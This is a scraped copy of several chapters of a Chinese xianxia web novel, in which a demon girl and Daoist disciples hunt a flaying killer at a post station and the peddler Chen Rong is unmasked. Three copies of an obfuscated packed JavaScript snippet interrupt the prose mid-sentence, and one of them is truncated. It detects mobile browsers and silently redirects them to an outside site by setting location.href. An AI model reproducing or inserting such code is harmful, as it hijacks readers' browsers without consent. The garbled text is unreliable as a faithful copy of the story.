程南楼道:“我们会在驿站附近设下阵法,必然不会令那邪祟再接近。只是附近荒山野岭,他若有心藏身,要一寸寸搜寻单靠我们几人之力并非易事。可否请掌柜派人去镇子上请一些除妖师来从旁协助?” 驿站前不着村后不着店,要请捉妖师,就得去附近富庶的大镇,这一来一去,少说得大几天的工夫。 掌柜苦着张脸,心里很是懊悔,早知如此,昨日的十八两银子还不如不省。 满月见气氛沉重凝滞,犹豫了片刻,道:“我有一个想法,不一定对。” 程南楼看向她,并不因她年岁小又是异族而有所轻视:“但说无妨。” 满月同他对视,不知怎么,一看到程南楼,她的心陡然安定下来,眼中再无犹疑:“或许做下这事的人不在外,在内。” 程南楼眉梢微动,几乎转瞬就明白了她的意思。 许陈仓也一点就透。因着昨日大妖之说,他们第一反应都是外人所为,竟没考虑到灯下黑:“你是说……” “我认为你的判断没有错。”满月道,“今日与昨日根本不是同一件事,之所以看起来类似,很有可能是昨日动静闹得太大,有人旁观了全程,悉知底细,所以才借来生事。” 程南楼抬头问掌柜:“昨日共有几人新到驿站?” 掌柜如梦初醒,慌忙从柜台下翻出一本账簿,细数道:“昨日除了几位仙长,另还有五位客人留宿住店,房间实在不够,其中有两位客人是宿在后头放杂草的棚子里。” “他们今早还在吗?” “在的在的,将才这位仙长让我清点人数,我一一都亲眼见过了。” 程南楼明白满月的意思,他朝她点点头:“这五人我会去查。” “不对。”满月回视着他,目不转睛,“是六人。” 程南楼怔了一下。 “陈荣……” 满月刚说了两个字,一旁的玄妙就瞪大了眼,活像是自己被怀疑一样,跳脚道:“你怀疑陈荣?他和我们一起来的,怎么可能有问题!” 玄妙这反应着实有点太大,很是不同寻常。 这下他成了视线的焦点。 “我,我觉得他不像坏人。”见他师兄师姐都看过来,玄妙挠挠头,悻悻坐了下来。他眼珠子转了转,小声嘀咕道,“不就是因为先前你们那场误会,至于吗?” 这话说得过分,不等满月有所反应,许陈仓就先伸手拧住了玄妙的耳朵:“你又乱讲什么?” “疼疼疼。”玄妙一边护着自己的耳朵,一边因她这话更起了逆反之心,不满道,“本来就是,陈荣才来一天不能信,她也没来多久,难道就能信了?” 许陈仓冷笑:“昨天她就睡在我旁边,你怀疑她,干脆连我一块也怀疑好了。” 玄妙吐吐舌头,捂着自己的耳朵,躲到了程南楼身后。 程南楼看向满月:“陈荣那边我会去看。” 满月怔怔地点了点头。 玄妙话说的难听,却不无道理。 她信任他们,是因为她看过原著,了解他们的品性。 可她对他们来说,到底只是个相识不多久的陌生人……不对,陌生妖。 是她越界了。 想清楚,她倒也不再觉得难受。 事情在讨论之下渐有了眉目,讨论到具体的分工,许陈仓看向陆宴白:“宴白师兄以为如何?” 陆宴白习惯站在最外边,他半倚在博古架旁,从始至终没怎么说过话,闻言才略一颔首:“都可以。” 商讨得差不多,各自都该去忙自己的事了。 满月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995435|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磨磨蹭蹭,一直等到最后一个离开的陆宴白。 陆宴白知道满月怕他,想必是有求于他,才会等他。 他挑了下眉,似笑非笑看着满月,耐心地等她开口。 满月纠结好半天,终于等到机会,她紧张的手心冒汗,说话也磕磕绊绊:“我,我有一事想求你。” 语毕大约是怕陆宴白直接拒绝,她赶忙伸出了手,不容分说地将要给他的东西递到了他面前。 正是先前陆宴白给她的契言符。 陆宴白瞧了那符一眼,难得有些不解。 有什么要紧事能让她连契言符都拿出来。 “什么事?”他的视线从契言符移到她脸上。 “你……”这话实在不好开口,满月迟疑了下,咬咬牙,抱着必然会被拒绝的决心,一口气快速说道,“你能不能给我几张护身用的符箓?” 最艰难的部分已经完成,满月心跳才逐渐平缓下来。 反正她已经尽了人事,接下来就是听天命了。 虽然她并没有抱太大希望,但总归还是要试一试。 陆宴白瞧她紧张兮兮的模样,不由失笑:“就这个?” 满月怪不好意思的,她点头:“就这个。” 也不能怪她怂,作为一个普通妖,在这么一个处处充满危险的世界是很难生存的! 尤其现在,焉知那剥皮怪藏在哪里,何况她对来路不明的陈荣也心存警惕,唯一的金手指小灯妖又还处于休眠状态。 她能想到保护自己的方式,只有这个。 陆宴白瞥了眼静静躺在她掌心的契言符,又垂眸瞧向她黑如曜石的眼,其中倒映着他的模样,一尘不染。 “你怎么不去找程南楼?”因为站得近,陆宴白垂眸看着她,颇有些居高临下的压迫感,他笑意盈盈,眼中满是调侃与讥诮,“你不是给了他扇坠吗?他连这个忙也不肯帮?” ……又提这个!!! 满月脸一下子烫起来,炸毛道:“你你你……你不要再提这件事了!” 本来没什么,被他这么饶有深意的一说,变得她好像真的对程南楼有什么不该有的心思一样。 事实证明,来找陆宴白就是个错误的决定! 满月一万个后悔。她收起了契言符,气呼呼地转头就走。 “喂。”陆宴白在后面叫了她一声。 满月心中气他,难得有骨气一次,假装听不到。 然而她没走两步,却发现自己动不了了。 定身咒! 满月惊恐地看着动弹不得的自己,罪魁祸首却慢条斯理地踱步过来,要笑不笑瞧着她:“头一次见求人求得你这么霸道。” 满月鼓了鼓腮帮子,本来想骂他,但就算气的上头该有的求生欲还是在的,最终还是艰难地忍了下去,只哼了一声,不去看他。 这已经是她最大的表态! 陆宴白则眉梢微扬了下,抬手将一叠符纸随意地塞到她怀里。 定身咒一撤,满月发现自己又能动了。 她抱着那叠符纸,睁圆了眼睛,反倒有些不可思议。 ……真的给她了? 而且大约是因为有正事要做,陆宴白竟然没在程南楼那件事上继续捉弄她。 陆宴白笑了一声,摇摇头,先她一步走了。 “契言符!”满月在他身后道,“你,你不拿回去吗?” 在她看来这就是以物易物的交换。 陆宴白却头也不回,懒洋洋道:“我的契言符可不止这个价,你想些更重要的东西,再来找我换。” 32. 032 ……这人又犯中二病了是吧。 满月在心里默默吐槽,不过这次倒是不反感。 怎么说也是她赚了。 满月如愿以偿,喜滋滋将陆宴白的符箓一张张整好了,小心翼翼收入乾坤袋。 这可是本作第一大反派的道符,杀伤力可想而知,数了数差不多有十几张,省着点用,足够她当护身符好一段时日了。 有了这些,满月原本因为玄妙的话而有些低落的心绪也一扫而空。 她回房间静等结果。无事可做,便翻起了陈仓留下的几本话本子。她一面吃着掌柜送来的果脯话梅,一面津津有味看起来。据陈仓说,这都是时下最热门的题材,她私藏了好久,怕被玄都观其他师兄师弟不小心翻了去,连出门都要带在身上。 她看的这本是在她生活的那个时候也很流行的强取豪夺,神女济世爱人,结果遇上了命中注定的宿敌大魔头,爱不得,求不了,放不下。 满月原先以为:啧,老题材,能翻出什么新花样。 看过之后:作者太太再爱我一次QAQ 满月看得一把鼻涕一把泪,原本是打发时间,结果却完完全全沉浸在故事的氛围中。 忽然窗外骤然一暗,紧接着几声惊雷震天响。 满月从话本中猛然回神。她合上话本,走到窗边,小心推开一道缝,漫天的黑鸟徘徊在天边,扑簌簌成群结队,落下无数黑色的羽毛。 一根黑羽顺着窗户缝慢悠悠飘了进来,落在案几上,满月迟疑了下,伸手想拿起来看看是什么,结果她手刚一碰到,那羽毛顷刻之间化为齑粉,消散无遗。 满月心头略过一种不祥的预感。 她将想出去凑热闹小肥啾强行藏回自己的袖中乾坤,警惕地打量着外间的异况,正在这时,门边传来了轻微的响静。 满月攥紧了手中一早拿出的符纸,悄声走过去,准备情况一不对就先发制人。 门被推开了。 进来的人却是许陈仓和扶着她的玄妙。 满月松了一口气,但她仔细瞧清陈仓的模样后,心又重新悬了起来。 陈仓受伤了。 满月忙过去帮着一起将许陈仓扶进来。许陈仓面色有些泛白,额上布着密密的一层薄汗,和平日里总是一脸倨傲而无所不能的少女截然不同。 “这是怎么回事?” 玄妙难得没了之前抓妖的跃跃欲试,他垂头丧气,想解释,又不知从何解释。 “是那五个中的一个。”陈仓接过满月递来的茶水,“被你说中了。” “……师姐是为了救我,才受了伤。”玄妙终于绷不住了,眼泪跟珠串似的,一滴滴滚落下来,看起来很是自责。 “一点小伤,又不是死了,你哭哭啼啼做什么。”陈仓点了点玄妙的额头。 还有心思开玩笑,应当不是太严重。 满月这才稍稍放了心。 许陈仓同她讲起前后发生的事。一如满月先前的猜测,那五人之中的确有一个是邪道,玄妙最先发现,可惜这小子没太多经验,一不留神,险些被邪道打伤,好在离他不远的陈仓及时出手相助,才救下了他。那邪道也趁机逃之夭夭。 满月听后却只有一个想法。 原来不是陈荣。 难道真的是她搞错了? “南楼师兄和宴白师兄已经追过去了。”许陈仓并不担心,她将茶盏放下,看向窗边,“那邪道不是太厉害,师兄他们应该很快就能抓到了。” 满月仍是有种说不清道不明的古怪情绪,冥冥之中她总觉得有些地方不对劲,可又讲不出来。 她拨了下手上的玉珠,思忖着问道:“今天早上的尸首确定是那邪道所为吗?” 陈仓还是那句话:“十有八九。” 那就是还有一两分不确定了? 满月接着问:“如何断定?” “我们在他房间里找到了那两副没来得及处理的人皮。”玄妙代为抢答,他一脸的理所当然,“自然就是他所为。” “可他这么做的目的是什么?”满月仍是不解,“他大费周章将人剥了皮丢在驿站门口,又不处理剩下的人皮,不是等着被抓吗?” 玄妙耸耸肩:“那只有抓到他才知道为什么了。” 许陈仓同样不当一回事,天下之大无奇不有,她听闻过见识过不少光怪陆离的事,与此相比这不算什么。 满月只好放弃继续讨论。 窗外邪异的怪鸟已经不见踪迹,只留下的满地羽毛,暂时无人敢清扫。 早上还喧闹的驿站此时格外安静,各个门户紧闭,连走动的声音都很小。大概是掌柜提前告知,都知道外面有场抓妖的恶战,怕受波及的缘故。 天完全黑了下来,陆宴白和程南楼仍迟迟没有回来。 晚膳是掌柜跟店里的伙计挨门挨户送去的。 掌柜那边迟迟等不到消息,只好借着送吃食来询问陈仓接下来该怎么办,驿站的人已经关了一整天,总不能一直困在房中不让出去。 陈仓与那邪道交过手,清楚他几斤几两,按理来说不该这么久都没动静。 她虽也感困惑,面对着掌柜,只能道:“再等等。” 掌柜无奈应了声,放下吃食后就离开了。 就这么一直等到月上中天。 满月靠在榻几上,头一点一点,昏昏欲睡。 周遭很安静,陈仓凝神打坐,玄妙趴在桌子上也快要睡着,一时只听得见灯花哔剥的声响。 突然,窗外传来一阵竹哨声,尖锐清亮,转瞬即逝。 满月倏然清醒,她转头瞧向身边,玄妙和陈仓两个显然也听到了。 玄妙:“什么声音?” 陈仓:“不知道。” 满月支起窗户。外面依旧没有任何动静,驿站外空无一人,只有大门檐下孤零零挂着的两只灯笼,时不时随风碰撞在一起发出轻微声响。 那一声竹哨声,仿佛只是她们凭空产生的错觉。 满月合上窗户,摇了摇头。 玄妙吓得躲到他师姐身后,他毕竟年岁小,不曾经事,这么一点风吹草动,就吓得牙关打颤:“会,会不会是那邪道又回来了?” “师兄他们在驿站附近设了阵法,那邪道不会这么容易进来的,别害怕。” 陈仓既是安慰玄妙,也是安慰满月。 夜里无光,比白日更没安全感。满月翻箱倒柜,在客房中找出几根应急的蜡烛,就着灯盏一一点亮。 多了这几根蜡烛,房中一下子亮堂不少。 满月放下灯盏,蜡油滚落下来,滴在案几上。 不知何故,满月手腕上一直戴着的玉珠突然隐隐发起烫来。 这还是从未有过的情况。 满月正要研究怎么回事,偏巧这时门外又传来了一阵急促的敲门声。 玄妙宛如惊弓之鸟,若不是被陈仓眼疾手快捂住了嘴,只怕已叫出了声。 陈仓蹙眉,与满月对视一眼后,才沉声问道:“何人?” “似俺。”那声音一如既往笑呵呵的,“陈荣。” 一听是陈荣,玄妙不害怕了,他跳下床榻,正要去给他开门,却被许陈仓拽着衣领提溜回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995436|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 许陈仓与玄妙不同,对这个半路遇到的陌生人,她或多或少还心存戒备。 尤其在现在这个节骨眼上。 陈仓不客气道:“掌柜不是已经告知暂时不要出门吗?你有何事一定要现在前来?” 听到她这么说,陈荣越发压低了声音,贴近门边道:“俺就似为这个似(事)情来的。俺觉得……这个驿站有点子不对头,古怪得很呐。” 陈仓一愣:“哪里古怪?” 陈荣小声道:“就今天早上那件似(事),俺突然想起来,俺早晨天不亮的时候去过一趟茅厕解手,隐隐约约的,好像看到个人从外面回来。” 听他提起早晨的事,许陈仓终于有了些兴趣。 陈荣住在后院的柴房,相比他们,确实有可能会看到一些情况。 “什么人?”许陈仓顺着他的话问道。 “就似……驿站的那位掌柜。” 听到这意料之外的答案,许陈仓怔了一怔,心没由来地一沉。 但是她并没有表现出来,只是厉声问道:“你既然看到了他,为何上午我们去问的时候却只字不提?” “俺也就远远瞥见一眼,没怎么当回似(事),就给忘了。”陈荣叹了口气,语气很是自责,“怪俺。俺真似不知道这似(事)这么要紧,现在才想起来,越想越不对劲,这不就赶紧来找你们了。” 陈荣说得言真意切,一时半会儿真挑不出什么毛病。 他凑近门边,脸贴在窗棂,在烛火的映衬上,身形陡然大了一倍:“隔着门讲话有些不方便,你先把俺放进去,俺再细细和你说。” 许陈仓想了想,如果陈荣讲的是真的,这事确实不同寻常,留他在外面,要是隔窗有耳就麻烦了。 她正要让玄妙去开门,满月却忽然抓住了她的胳膊。 满月朝着她摇了摇头,用口型说:不可。 如果没有之前的经历,满月说不定也会和陈仓做一样的决定。 可她始终对那晚小河流泪的事耿耿于怀,再加上玉珠异乎寻常的发烫,总让她有种不好的预感。 门外留有禁制,若是有人擅闯,便会引动法阵。陈仓受了伤,这便是他们目前唯一的保障。 门不能开。 许陈仓明白满月的意思,可也担心陈荣所说的事,一时迟疑不定。 犹豫片刻,还是稳妥为重。她下了决定,回绝门边的陈荣:“我知道了。你先回去吧,今晚凶险,事情还没着落,别再随便出来了。” 她说完,外面果然没了声音。 陈荣走了吗? 满月没想到事情会结束得这么轻松,她甚至都有点怀疑是不是真的只是自己想多了。 可腕上的玉珠还在发着烫,丝毫没有减缓的倾向。 满月摸着玉珠,正心神不宁间,门外又有笑声传来。 那声音不大,和先前压着嗓子说话不同,似乎不再忌惮会被外人听到。 满月抬眸。 许陈仓眉头紧锁,也听出是陈荣在笑,有些不解:“你笑什么?” 陈荣不再讲带着乡音的土话,他边笑,边用字正腔圆的官话慢慢道:“笑你们疑心果然很重,我讲这么多,竟都不能让你们卸下防备。” 这句话,无异于宣告,他确实不像他表现出来的那么简单。 许陈仓面色陡然冷下来。 陈荣越笑越癫狂,声音里,满是目中无人的不可一世:“区区禁制,若我有心,你真以为能挡得住我吗?” 他话音一落,房内刚刚燃起的蜡烛和灯盏,遽然一并熄灭。 33. 033 陆宴白脚步一顿。 身后风声呼啸而起,不及藏在树林中的黑影窜出来。 陆宴白手一甩,指间的符箓如游龙般飞了出去。电光火石间,黑影毫无防备,符箓映出金光,瞬间化为一条绳索,将它们团团捆绑,坠落于地。 “呱呱……”面目可憎的精怪们被缚妖索牢牢绑在一起,极力想挣脱。 先前与陆宴白分头行动的程南楼这时也自林中步出,他手持骨笛,看到前面有人,正要吹响骨笛,却发现是陆宴白。 “……师兄?” 程南楼放下骨笛,带了些许的疑惑:“没有人从这里跑出来吗?” 适才他一路追着林中的黑影过来,到了这里却突然消失得无影无踪。 “如果你说的‘人”是他们的话。”陆宴白瞥了眼地上。 程南楼顺着他的视线,方才看到被缚妖索禁锢着动弹不得的一堆精怪。 “地魅阵。” 以地魅精怪铸阵,但凡入此结界,便会被藏在其中的精怪所攻击,这些精怪早在阵成前就失去了生命与意识,只要阵法不破,便不会真的死去,足以将敌人生生耗死。 程南楼倒在阵法课中学到过此类阵法。 他俯身,骨笛上新挂着的白玉扇坠滑落下来。白玉映着清辉,莹白温润,莫名有点像它的前主人。 陆宴白扫了一眼,轻轻挑了下眉。 这些精怪大多是就地取材,多是林中的草木成精,有些甚至尚无成形,却被人硬生生催熟,被困在阵法中痛不欲生,铸成此阵的人当真心狠手辣。 程南楼蹙起好看的眉,如玉的纤长手指正要触碰到那些痛苦万分的精怪,一缕黑气却猛然从精怪体内钻了出来,直直向他眉心射来。 黑气速度非常快,程南楼尚且来不及反应,他手中的骨笛就先清光一现,形成一道屏障,将偷袭的黑气阻挡了下来。 清气聚合,那团黑气被包裹其中。 程南楼抬手,清气浮于他指尖。黑气被消融,露出了被包裹在其中的东西——一柄黑色利刃。 程南楼怔住,瞳孔之中隐有几分的震颤:“这是……” 饶是陆宴白也没有料想到这样的变故,他眉梢微动,素来波澜不惊的瞳眸罕见地映出一二分波澜。 他并指捏诀,符箓在他指间无风自燃。 地鬽阵瞬间被击破。 阵中精怪露出了本来面目。它们一个个面容扭曲,周身遍布溃烂流脓的腐肉,浓郁黑气如活物般翻涌其间,怪叫声也变得放入婴孩啼哭一般凄厉,这样阴邪的状况完全不是普通的地鬽阵会有的。 “鬼矢。”映证了猜想,陆宴白扔下烧了一半的符箓。 困在缚妖索中的精怪一接触到符箓,就化作黑气消散于空中,什么都没留下。 凄厉的哀嚎终于停止了。 程南楼的神色却比之前更为严肃。 鬼矢是以死气凝成之物。死气这种东西最会蚀骨噬魂,曾有修士试图借助死气修行,没多久便双目赤红地撕扯自己的面皮,十指抠进眼窝里仍癫狂大笑。当今世上能够随心所欲动用鬼矢和死气的,怕是只有那个人。 一个他们都不愿提及的人。 “你觉得会是……阴长生吗?”程南楼看向陆宴白,他面容平静,只是攥着骨笛的指节却泛白,显然是用了力的。 当年阴长生利用鬼矢引发妖邪之乱后便销声匿迹。为了防止重蹈覆辙,各州府城门如今都布着检验死气的大阵,除了极个别大妖,在凡人聚集的地方这种东西已然绝迹。 陆宴白摇了摇头。 程南楼的神色难得有几分凝重,他想将黑色利锥收起,可在清气褪去的那一刻,黑色利锥也化为死气,弥散于空中。 “怎么……”他张了张口,话没说完,先听到一阵窸窣的响静,很轻微,可于他们这种常年修道的人来说却已足够警醒。 程南楼倏然抬眸,手中捏着的符箓尚未掷出,就听得陆宴白懒洋洋道:“你自己出来,还是我们帮你出来?” 程南楼略微一怔,离他们不远处的一块石头滚了两下,似乎在挣扎什么,片刻,一团半大的雾气笼罩在石头周围。 待雾气散去,石头已化为了人形。 程南楼蹙起了眉。 清虚子身上的灰色道袍皱皱巴巴,沾满了槐树叶,左袖裂开的破口露出里面的中衣,头上的一字巾也不知所踪,整个人灰头土脸,狼狈不堪,再没有之前在驿站招摇撞骗的神气。 “别,别动手。”清虚子布满血丝的眼珠慌乱转动,“两位小道爷行行好,真,真不关我的事。” 他算是看出来了,那些精怪把他困在这里一天一夜,这两个玄都观的弟子一来没两下就全部降服,昨日得亏是他们没有同他计较。 程南楼的防备却分毫不减。他盯着清虚子,面上没了平日里清浅的笑,黑曜石一般的瞳孔倒映着清虚子兢兢战战的身影。 有关那人,程南楼所知并不多,多年前的匆匆一瞥后就消失无影。行藏道人不想提及当年的事,人人皆知玄都观在当年那场妖邪之乱中损伤无数,他们便也有意不再提及,所以对阴长生为数不多的了解,只知道一些隐秘的谣传。 其中最可信的一项传言,便是他可以借助死气随意变幻身形容貌,很难露出破绽。 犹豫一瞬,程南楼还是将手中的符箓掷了出去,清虚子大惊失色,须臾间甚至吓得忘了动作,等他回过神来,符箓已在距他分毫之厘停了下来。 陆宴白静静旁观了全程,不用问便知程南楼所想:“看来不是他。” 清虚子并不知这是试探,他有自知之明,自己那点三脚猫的工夫,在这些正儿八经的玄都观天之骄子面前根本不够看,他盯着面上的符箓,眼睛都成了对眼,牙关打颤:“道,道长饶命啊……” 程南楼不着痕迹轻叹一声,连他自己也不知是失望还是其他。他抬手,那道没有落下的符箓转了个弯,重新回到了他的手上。 程南楼将符箓收起,面上有几分误伤的歉意:“道长何故在此?” 没了要命的符箓,清虚子一口大气终于喘了上来,他心有余悸地拍着胸口,许是知道自己没有危险,他松懈下来,一把鼻涕一把泪哭诉道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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清虚子眼珠随着那符箓转来转去,喉结滚动两下,在巨大的压力下突然灵光一现:“我,我想起来了!” 陆宴白停下动作:“哦?” “确实是没有人,但有个猴——”生怕被就地正法,清虚子咽了口唾沫,七手八脚地比划,“有个猴在你们之前跑了过去。那畜生是从后山断崖窜下来的,浑身跟生了癞疮似的,眼窝凹陷得能塞进铜钱,但你们进来的时候它就已经走小路离开了,那个猴长得特别丑,我有印象……” “你确定?” 清虚子瞧着忽然就变得严肃起来的二人,瑟缩了下,不知道自己又是哪里惹到了他们。 “我确定,我看得可清楚了,那畜生之前我在驿站里见过一眼,就是昨日,因为长得太丑,所以我还记得……” 他话未说完,陆宴白和程南楼已是掉头就走,转眼间,他们的身影已隐入苍茫暮色中,无人再去管他。 “喂喂!”清虚子踉跄着想追上去,可惜实力差距太大,再加上他一日一夜没进过食,刚跑两步就摔倒在地上。他眺望着越来越远的二人,唯有颤抖的尾音飘散在渐起的山风中,“这荒山野岭的,你们别丢下贫道一个人啊……” 34. 034 房中一下子没入无边无际的黑暗。 满月以妖力催动火焰,却怎么也点不亮灯盏,她意识到不好,支起窗户,才发现外面同样是一片漆黑,驿站大门与挂着的两盏灯笼俱消失不见。 原来他们早不在现实之中。 不知从什么时候开始,他们竟毫无预兆地陷入了陈荣缔造的结界。 图穷匕见,来者不善。 许陈仓抬手结印,想要趁着阵法不稳时强行打破结界。 纯阳道印浮于半空,若隐若现。 那是许陈仓的本命道印,也是她最大的杀招。 可就在这时,意料之外的变故却发生了。 很长一段时间没有说过话的玄妙突然伸出手,不等道印结成,就直直向着陈仓袭去。 许陈仓怎么也不会想到最亲近的人忽然朝她出手,虽反应极快,可还是没完全躲过,生生挨了一下。 许陈仓摔落出去,砸在案几上。案几顷刻之间碎成两半。 满月一惊,眼见着玄妙再次向陈仓出招,她一时也顾不得什么,慌忙结出妖印。 蓝色的妖力凝成无形无状的屏障,挡在陈仓面前。 可惜她法力式微,玄妙刚一触及那屏障,即刻便炸开。 但这短短一瞬的支援,已足够陈仓调整过状态。 许陈仓十指翻飞,半空中纯阳之印已成,借着那光华,满月方才看到玄妙双目全黑,俨然不再是他自己。 他被人操控了。 ……这又是什么时候发生的事? 若放在平时,玄妙定然不会是许陈仓的对手,但他如今被人操控,招招狠厉,下得是不留余地的死手。反而是陈仓先前就受了伤,现下又顾及着玄妙的安危不能使出全力,一来二去之间,两人竟打得旗鼓相当,难分高下。 满月术法微弱,这时倒成了优点,既不会对玄妙造成实质性的伤害,又可以帮陈仓牵制他的行动。 幽蓝色的华光变作无数蝶影,把玄妙的手脚绊住,陈仓趁此机跳到他身后,用缚妖索将他牢牢捆起。 金光一现,玄妙被五花大绑,跌坐在地上。 “玄妙他……” 许陈仓运转灵气,想要帮玄妙驱散身上的控制,可却没有一点用。 有可能是结界的缘故。 看来要让他恢复神智,首先须得破除结界。 满月在一旁担忧地看着他们二人,手上的玉珠却在这时骤然变得滚烫,远胜之前。 有了前两次的经验,她当然知道这意味着什么。 “小心——” 满月刚一喊出声,门外的禁制终于在此时裂开。 木门连同四面的墙壁轰然倒塌,扬起一片灰尘,将一切笼罩其中,暂时遮蔽住了视野。 满月被禁制破裂的余波所震,重重摔在地上。 她咳出一口血,只觉五脏六腑错了位。 灰尘悠悠落地,露出来者的真面目。 陈荣站在门边,他不再是那个健谈开朗的货郎,尽管身上仍旧穿着那件缀满补丁的粗布短衣,气质却大相径庭。 他面上带着讥讽的笑,居高临下地瞧着屋内的人,脸上没有了过去那种一团和气的良善:“是我小看了,你的禁制解起来还真有点费力。” “可惜,只有一点。” 小河从陈荣身后漏出了头,随着它主人的话也发出桀桀怪笑。 禁制破碎,陈仓受到反噬,再加上刚才她离门最近,受到的波及最大,几乎是昏死过去,躺在地上连动一下都艰难。 陈荣却并没有选择对三人之中最强战力的许陈仓下死手,他轻飘飘扫了一眼气息奄奄的陈仓,显然并不把她当一回事,果断调转方向,朝着摔在另一边的满月走过来。 四周很安静,他踏在地上的脚步声尤为清晰。 笃,笃,笃。 一步一步。 陈荣有条不紊地向她靠近。 满月闭着眼,屏气凝息静静听着这声音,一动不敢动。 “亏我几番试探,原来你是真的不知道,自己身上怀揣着的究竟是什么宝物啊。”陈荣嗤笑一声,说着莫名其妙的话。 其实他一开始也没有察觉,如果不是小河的事,到嘴的肥肉还真要被他生生错过了。 陈荣抬起手,黑色的雾气萦绕在他掌间,逐渐凝聚成一团。他正要将那团黑气打入满月体内之时,装昏的满月却先他一步,掷出了攥在手心里的符箓。 陈荣连许陈仓都不怎么放在心上,更不会对满月有所防备。符箓化作金字真言,游龙一般,势如闪电,竟直接将他不及收回的手臂生生斩断。 满月翻身躲到一旁。 第二次了,这招装死真的好用。 她深知自己与陈荣之间的差距大如鸿沟,顾不上心疼,趁着陈荣吃痛,赶忙将陆宴白给她的符箓,一股脑全都撒了出去。 符箓虽是陆宴白所制,但受限于满月本身的实力,所发挥的效用不过三分之一。可饶是如此,还是造成了巨大的伤害。 十五张符箓一同掷出,金字真言瞬时铺散开来,如潮水一般,向着陈荣聚拢。煌煌金光,霎时之间,穿破了屋中浓稠如墨的黑暗,照得四下亮如白昼。 在陈荣眼中满月不过是蝼蚁般的存在,他万没想到她竟还留有一手,现下失了一臂不说,还得应付难缠的金字真言,一时之间分身乏术,再难顾及旁边的满月。 满月忙去查看陈仓的伤势,可惜刚走几步,却被作壁上观的小河拦了下来。 小河挡在她前面,漆黑眼珠深不见底,仿若无边无际的黑洞,稍一对视,就让人有被吸入其中的感觉。 与那日一模一样。 原来不是她的错觉。 小河看着她,咧开嘴大笑起来,随着笑容幅度的增大,它嘴角开裂,一直裂到耳际。 猩红的牙龈与森然的白牙形成鲜明对比,它张大嘴巴,里面一层叠着一层,俱是密密麻麻的尖利牙齿。 满月密恐都快犯了。她手上没了符箓,手无寸铁,不敢硬碰硬,只好闪身躲避起小河的攻击。 异化后的小河身手迅疾,它爪子骤然变利,与陈荣一样,其上萦绕着一股驱之不散的不详黑气。 满月躲避得很是狼狈,一不留神,她脖颈上就多了三个不算太浅的血窟窿。 血淋漓地淌下来。 但目前的状况,疼痛感都是最次要的。 满月捂着伤口,只觉眼前一阵一阵有些发昏,视线逐渐变得模糊起来,闪躲的动作也开始变得有些力不从心。 小河却似乎并不急着将满月拆吞入腹,反倒饶有兴致与她玩起了狩猎游戏,看着她狼狈逃窜的模样,它捧腹大笑起来,笑声尖锐刺耳。 猫捉耗子的游戏持续得越久,满月身上的伤口就越多。 再这样下去,纵然不是流血而死,也会被耗死。 满月摸到袖中的短剑,她咬咬牙,再一次险险躲过小河的进攻后,她猛然调转方向,将短剑对着小河祭出。 这柄蔓娘子妖力加持过的短剑,上一次对付红线道人时她也曾用过。短剑一生二,二生三,瞬时幻化出无数重影,层层叠叠,向着小河心脏处刺去。 小河犯了与它主人一样轻敌的毛病,不过短剑的威力相比于陆宴白的符箓还是逊色许多,在短暂地扰乱节奏后,还是被它轻易化解。 有了这片刻工夫,满月与它拉开些距离。 满月掐起一道妖诀,正待打去,心口处却突如其来地感到一阵刺痛,如万虫咬噬,仿佛有什么深埋于底的东西挣破枷锁,呼之欲出。 她膝盖一软,猝然跪地。 耳际嗡嗡声鸣,她如溺水中,连呼吸都变得不畅。 满月捂着心口,额头渗出冷汗。她腕上的玉珠一阵一阵地滚烫,发出忽明忽暗的蓝光,仿若年久失修。 小河也差不多玩够了追捕的狩猎游戏,它纵身一跃,轻盈地落在满月面前,看着满脸痛苦的满月,亮出了森然的牙齿,打算给她一个了结。 小河桀桀笑了一声,张着腥盆大口就扑了上来。 满月忍着剧痛,用最后一丝力气伸手挡在自己面前。 玉珠在这时华光大盛,黯淡的幽蓝光辉变为至纯至净的清冷月光。 满月眉心现出一轮圆月之印,那月印冲破了长久以来的束缚,以不可挡之势骤然亮起。 月光瞬间蔓延开来,吞噬一切黑暗。 小河霎时被月光所笼罩,无处遁形。它碰触到那清冷的月光,却宛若被火焰灼烧一般,厉声叫起,疼得满地打滚。 满月睁开眼,她眸子变得比纯然的黑还要黑,其间仿佛有星光在不断流转。 耳边的嗡鸣声消失了,转而代之的是一个温柔的女声,那声音很熟悉,引导着她将这不知从何处爆发的力量度入眉心的月印之中。 小河叫得撕心裂肺,无数的黑气自它身上翻涌而起,在无所不在的月光之中得以度化。 时间好像在这一刻静止了,满月什么都看不到听不到,等她再有意识之时,小河已经躺在地上,九死一生。 与此同时,萦绕在它身上的那团黑气也不见了。 满月茫然地看着小河,一时之间并不明白发生了什么。 小河动了一动,一口气艰难地喘了上来。 原来它还没死。 满月此时却着实是一丝力气也无,只能眼睁睁看着它爬起身,摇摇晃晃地重新站了起来,心下一片绝望。 但小河并没有如她所想那般趁机杀她。它跌跌撞撞地走了几步,在离她一步之遥的地方停下来,重又跌坐在地上。 